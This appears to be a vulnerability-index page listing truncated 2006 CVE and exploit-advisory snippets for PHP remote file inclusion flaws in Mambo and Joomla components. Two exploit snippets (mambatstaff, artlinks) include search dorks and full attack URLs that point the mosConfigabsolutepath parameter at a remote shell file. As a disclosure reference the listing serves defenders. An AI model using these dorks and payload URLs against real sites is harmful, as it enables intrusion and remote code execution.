CVE-2006-3995

Multiple PHP remote file inclusion vulnerabilities in 1 uhpconfig.php, and possibly 2 footer.php, 3 functions.php, 4 install.uhp.php, 5 toolbar.uhp.html.php, 6 uhp.class.php, and 7 uninstall.uhp.php, in the UHP User Home Pages 0.5 component aka comuhp for Mambo or Joomla! allow remote attackers t...

EUVD-2006-3983

Multiple PHP remote file inclusion vulnerabilities in Paul M. Jones Savant2, possibly when used with the commtree component for Mambo and Joomla!, allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter in 1 Savant2Pluginstylesheet.php, 2...

CVE-2006-3981

The CVE-2006-3981 entry describes a PHP remote file inclusion vulnerability in Mambo Gallery Manager (MGM) 0.95r2 and earlier for Mambo 4.5. The flaw allows an attacker to execute arbitrary PHP code via a URL supplied in the mosConfig_absolute_path parameter. Affected component is MGM’s about.mgm...

CVE-2006-3980

PHP remote file inclusion vulnerability in administrator/components/commgm/help.mgm.php in Mambo Gallery Manager MGM 0.95r2 and earlier for Mambo 4.5 allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3981

PHP remote file inclusion vulnerability in about.mgm.php in Mambo Gallery Manager MGM 0.95r2 and earlier for Mambo 4.5 allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter. NOTE: the provenance of this information is unknown; the details are...

CVE-2006-3990

CVE-2006-3990: Multiple PHP remote file inclusion vulnerabilities in Paul M. Jones Savant2 (often with com_mtree for Mambo/Joomla!) allow remote execution of PHP code via a URL in mosConfig_absolute_path across 34 Savant2 plugin files. Root cause: RFI through the listed plugin files (stylesheets,...

CVE-2006-3980

The CVE-2006-3980 entry describes a PHP remote file inclusion in Mambo Gallery Manager (MGM) 0.95r2 and earlier for Mambo 4.5, caused by using a URL in mosConfig_absolute_path within administrator/components/com_mgm/help.mgm.php. This vulnerability allows remote attackers to execute arbitrary PHP...

mgm095.txt

---------------------------------------------------- Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities ---------------------------------------------------- Discovered By A-S-T TEAM WE ARE CrAsHoVeRrIdE & BLACK-CODE & MR-HCR ---------------------------------------------------- si...

guestbook130.txt

--------------------------------------------------------------------------- Guestbook Mambo Module == v1.3.0 Multiple Remote File Include Vulnerabilities --------------------------------------------------------------------------- Author : Matdhule Date : July 27th 2006 Location : Indonesia, Jakar...

mambatstaff.txt

mambatstaff Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : mambatstaff Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"commambatstaff" http://www.site.com/components/commambatstaff/mambatstaff.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

mambatstaff Mambo Component <= Remote Include Vulnerability

mambatstaff Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : mambatstaff Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"commambatstaff" http://www.site.com/components/commambatstaff/mambatstaff.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

artlinks Mambo Component <= Remote Include Vulnerability

artlinks Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : artlinks Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"comartlinks" http://www.site.com/components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities

---------------------------------------------------- Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities ---------------------------------------------------- Discovered By A-S-T TEAM WE ARE CrAsHoVeRrIdE & BLACK-CODE & MR-HCR ---------------------------------------------------- si...

CVE-2006-3962

PHP remote file inclusion vulnerability in administrator/components/combayesiannaivefilter/lang.php in the bayesiannaivefilter component combayesiannaivefilter 1.1 for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3962

PHP remote file inclusion vulnerability in administrator/components/combayesiannaivefilter/lang.php in the bayesiannaivefilter component combayesiannaivefilter 1.1 for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3949

PHP remote file inclusion vulnerability in artlinks.dispnew.php in the Artlinks component comartlinks for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3951

PHP remote file inclusion vulnerability in moodle.php in Mam-moodle alpha component commoodle for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3947

PHP remote file inclusion vulnerability in components/commambatstaff/mambatstaff.php in the Mambatstaff 3.1b and earlier component for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3951

PHP remote file inclusion vulnerability in moodle.php in Mam-moodle alpha component commoodle for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3949

PHP remote file inclusion vulnerability in artlinks.dispnew.php in the Artlinks component comartlinks for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...